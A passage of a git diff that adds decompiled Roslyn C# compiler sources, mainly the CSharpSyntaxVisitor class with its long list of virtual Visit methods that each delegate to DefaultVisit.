diagnosticOptions parameter is obsolete due to performance problems, if you are passing non-null use CompilationOptions.SyntaxTreeOptionsProvider instead", false)] + public static SyntaxTree Create(CSharpSyntaxNode root, CSharpParseOptions? options, string? path, Encoding? encoding, ImmutableDictionary? diagnosticOptions) + { + return Create(root, options, path, encoding, diagnosticOptions, null); + } + + internal string Dump() + { + return GetRoot().Dump(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpSyntaxVisitor.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpSyntaxVisitor.cs new file mode 100644 index 0000000..11d72c0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpSyntaxVisitor.cs @@ -0,0 +1,2444 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax; + +namespace Microsoft.CodeAnalysis.CSharp; + +public abstract class CSharpSyntaxVisitor +{ + public virtual TResult? Visit(SyntaxNode? node) + { + if (node != null) + { + return ((CSharpSyntaxNode)(object)node).Accept(this); + } + return default(TResult); + } + + public virtual TResult? DefaultVisit(SyntaxNode node) + { + return default(TResult); + } + + public virtual TResult? VisitIdentifierName(IdentifierNameSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitQualifiedName(QualifiedNameSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitGenericName(GenericNameSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitTypeArgumentList(TypeArgumentListSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitAliasQualifiedName(AliasQualifiedNameSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitPredefinedType(PredefinedTypeSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitArrayType(ArrayTypeSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitArrayRankSpecifier(ArrayRankSpecifierSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitPointerType(PointerTypeSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitFunctionPointerType(FunctionPointerTypeSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitFunctionPointerParameterList(FunctionPointerParameterListSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitFunctionPointerCallingConvention(FunctionPointerCallingConventionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitFunctionPointerUnmanagedCallingConventionList(FunctionPointerUnmanagedCallingConventionListSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitFunctionPointerUnmanagedCallingConvention(FunctionPointerUnmanagedCallingConventionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitNullableType(NullableTypeSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitTupleType(TupleTypeSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitTupleElement(TupleElementSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitOmittedTypeArgument(OmittedTypeArgumentSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitRefType(RefTypeSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitScopedType(ScopedTypeSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitParenthesizedExpression(ParenthesizedExpressionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitTupleExpression(TupleExpressionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitPrefixUnaryExpression(PrefixUnaryExpressionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitAwaitExpression(AwaitExpressionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitPostfixUnaryExpression(PostfixUnaryExpressionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitMemberAccessExpression(MemberAccessExpressionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitConditionalAccessExpression(ConditionalAccessExpressionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitMemberBindingExpression(MemberBindingExpressionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitElementBindingExpression(ElementBindingExpressionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitRangeExpression(RangeExpressionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitImplicitElementAccess(ImplicitElementAccessSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitBinaryExpression(BinaryExpressionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitAssignmentExpression(AssignmentExpressionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitConditionalExpression(ConditionalExpressionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitThisExpression(ThisExpressionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitBaseExpression(BaseExpressionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitLiteralExpression(LiteralExpressionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitMakeRefExpression(MakeRefExpressionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitRefTypeExpression(RefTypeExpressionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitRefValueExpression(RefValueExpressionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitCheckedExpression(CheckedExpressionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitDefaultExpression(DefaultExpressionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitTypeOfExpression(TypeOfExpressionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitSizeOfExpression(SizeOfExpressionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitInvocationExpression(InvocationExpressionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitElementAccessExpression(ElementAccessExpressionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitArgumentList(ArgumentListSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitBracketedArgumentList(BracketedArgumentListSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitArgument(ArgumentSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitExpressionColon(ExpressionColonSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitNameColon(NameColonSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitDeclarationExpression(DeclarationExpressionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitCastExpression(CastExpressionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitAnonymousMethodExpression(AnonymousMethodExpressionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitSimpleLambdaExpression(SimpleLambdaExpressionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitRefExpression(RefExpressionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitParenthesizedLambdaExpression(ParenthesizedLambdaExpressionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitInitializerExpression(InitializerExpressionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitImplicitObjectCreationExpression(ImplicitObjectCreationExpressionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitObjectCreationExpression(ObjectCreationExpressionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitWithExpression(WithExpressionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitAnonymousObjectMemberDeclarator(AnonymousObjectMemberDeclaratorSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitAnonymousObjectCreationExpression(AnonymousObjectCreationExpressionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitArrayCreationExpression(ArrayCreationExpressionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitImplicitArrayCreationExpression(ImplicitArrayCreationExpressionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitStackAllocArrayCreationExpression(StackAllocArrayCreationExpressionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitImplicitStackAllocArrayCreationExpression(ImplicitStackAllocArrayCreationExpressionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitCollectionExpression(CollectionExpressionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitExpressionElement(ExpressionElementSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitSpreadElement(SpreadElementSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitQueryExpression(QueryExpressionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitQueryBody(QueryBodySyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitFromClause(FromClauseSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitLetClause(LetClauseSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitJoinClause(JoinClauseSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitJoinIntoClause(JoinIntoClauseSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitWhereClause(WhereClauseSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitOrderByClause(OrderByClauseSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitOrdering(OrderingSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitSelectClause(SelectClauseSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitGroupClause(GroupClauseSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitQueryContinuation(QueryContinuationSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitOmittedArraySizeExpression(OmittedArraySizeExpressionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitInterpolatedStringExpression(InterpolatedStringExpressionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitIsPatternExpression(IsPatternExpressionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitThrowExpression(ThrowExpressionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitWhenClause(WhenClauseSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitDiscardPattern(DiscardPatternSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitDeclarationPattern(DeclarationPatternSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitVarPattern(VarPatternSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitRecursivePattern(RecursivePatternSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitPositionalPatternClause(PositionalPatternClauseSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitPropertyPatternClause(PropertyPatternClauseSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitSubpattern(SubpatternSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitConstantPattern(ConstantPatternSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitParenthesizedPattern(ParenthesizedPatternSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitRelationalPattern(RelationalPatternSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitTypePattern(TypePatternSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitBinaryPattern(BinaryPatternSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitUnaryPattern(UnaryPatternSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitListPattern(ListPatternSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitSlicePattern(SlicePatternSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitInterpolatedStringText(InterpolatedStringTextSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitInterpolation(InterpolationSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitInterpolationAlignmentClause(InterpolationAlignmentClauseSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitInterpolationFormatClause(InterpolationFormatClauseSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitGlobalStatement(GlobalStatementSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitBlock(BlockSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitLocalFunctionStatement(LocalFunctionStatementSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitLocalDeclarationStatement(LocalDeclarationStatementSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitVariableDeclaration(VariableDeclarationSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitVariableDeclarator(VariableDeclaratorSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitEqualsValueClause(EqualsValueClauseSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitSingleVariableDesignation(SingleVariableDesignationSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitDiscardDesignation(DiscardDesignationSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitParenthesizedVariableDesignation(ParenthesizedVariableDesignationSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitExpressionStatement(ExpressionStatementSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitEmptyStatement(EmptyStatementSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitLabeledStatement(LabeledStatementSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitGotoStatement(GotoStatementSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitBreakStatement(BreakStatementSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitContinueStatement(ContinueStatementSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitReturnStatement(ReturnStatementSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitThrowStatement(ThrowStatementSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitYieldStatement(YieldStatementSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitWhileStatement(WhileStatementSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitDoStatement(DoStatementSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitForStatement(ForStatementSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitForEachStatement(ForEachStatementSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitForEachVariableStatement(ForEachVariableStatementSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitUsingStatement(UsingStatementSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitFixedStatement(FixedStatementSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitCheckedStatement(CheckedStatementSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitUnsafeStatement(UnsafeStatementSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitLockStatement(LockStatementSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitIfStatement(IfStatementSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitElseClause(ElseClauseSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitSwitchStatement(SwitchStatementSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitSwitchSection(SwitchSectionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitCasePatternSwitchLabel(CasePatternSwitchLabelSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitCaseSwitchLabel(CaseSwitchLabelSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitDefaultSwitchLabel(DefaultSwitchLabelSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitSwitchExpression(SwitchExpressionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitSwitchExpressionArm(SwitchExpressionArmSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitTryStatement(TryStatementSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitCatchClause(CatchClauseSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitCatchDeclaration(CatchDeclarationSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitCatchFilterClause(CatchFilterClauseSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitFinallyClause(FinallyClauseSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitCompilationUnit(CompilationUnitSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitExternAliasDirective(ExternAliasDirectiveSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitUsingDirective(UsingDirectiveSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitNamespaceDeclaration(NamespaceDeclarationSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitFileScopedNamespaceDeclaration(FileScopedNamespaceDeclarationSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitAttributeList(AttributeListSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitAttributeTargetSpecifier(AttributeTargetSpecifierSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitAttribute(AttributeSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitAttributeArgumentList(AttributeArgumentListSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitAttributeArgument(AttributeArgumentSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitNameEquals(NameEqualsSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitTypeParameterList(TypeParameterListSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitTypeParameter(TypeParameterSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitClassDeclaration(ClassDeclarationSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitStructDeclaration(StructDeclarationSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitInterfaceDeclaration(InterfaceDeclarationSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitRecordDeclaration(RecordDeclarationSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitEnumDeclaration(EnumDeclarationSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitDelegateDeclaration(DelegateDeclarationSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitEnumMemberDeclaration(EnumMemberDeclarationSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitBaseList(BaseListSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitSimpleBaseType(SimpleBaseTypeSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitPrimaryConstructorBaseType(PrimaryConstructorBaseTypeSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitTypeParameterConstraintClause(TypeParameterConstraintClauseSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitConstructorConstraint(ConstructorConstraintSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitClassOrStructConstraint(ClassOrStructConstraintSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitTypeConstraint(TypeConstraintSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitDefaultConstraint(DefaultConstraintSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitFieldDeclaration(FieldDeclarationSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitEventFieldDeclaration(EventFieldDeclarationSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitExplicitInterfaceSpecifier(ExplicitInterfaceSpecifierSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitMethodDeclaration(MethodDeclarationSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitOperatorDeclaration(OperatorDeclarationSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitConversionOperatorDeclaration(ConversionOperatorDeclarationSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitConstructorDeclaration(ConstructorDeclarationSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitConstructorInitializer(ConstructorInitializerSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitDestructorDeclaration(DestructorDeclarationSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitPropertyDeclaration(PropertyDeclarationSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitArrowExpressionClause(ArrowExpressionClauseSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitEventDeclaration(EventDeclarationSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitIndexerDeclaration(IndexerDeclarationSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitAccessorList(AccessorListSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitAccessorDeclaration(AccessorDeclarationSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitParameterList(ParameterListSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitBracketedParameterList(BracketedParameterListSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitParameter(ParameterSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitFunctionPointerParameter(FunctionPointerParameterSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitIncompleteMember(IncompleteMemberSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitSkippedTokensTrivia(SkippedTokensTriviaSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitDocumentationCommentTrivia(DocumentationCommentTriviaSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitTypeCref(TypeCrefSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitQualifiedCref(QualifiedCrefSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitNameMemberCref(NameMemberCrefSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitIndexerMemberCref(IndexerMemberCrefSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitOperatorMemberCref(OperatorMemberCrefSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitConversionOperatorMemberCref(ConversionOperatorMemberCrefSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitCrefParameterList(CrefParameterListSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitCrefBracketedParameterList(CrefBracketedParameterListSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitCrefParameter(CrefParameterSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitXmlElement(XmlElementSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitXmlElementStartTag(XmlElementStartTagSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitXmlElementEndTag(XmlElementEndTagSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitXmlEmptyElement(XmlEmptyElementSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitXmlName(XmlNameSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitXmlPrefix(XmlPrefixSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitXmlTextAttribute(XmlTextAttributeSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitXmlCrefAttribute(XmlCrefAttributeSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitXmlNameAttribute(XmlNameAttributeSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitXmlText(XmlTextSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitXmlCDataSection(XmlCDataSectionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitXmlProcessingInstruction(XmlProcessingInstructionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitXmlComment(XmlCommentSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitIfDirectiveTrivia(IfDirectiveTriviaSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitElifDirectiveTrivia(ElifDirectiveTriviaSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitElseDirectiveTrivia(ElseDirectiveTriviaSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitEndIfDirectiveTrivia(EndIfDirectiveTriviaSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitRegionDirectiveTrivia(RegionDirectiveTriviaSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? 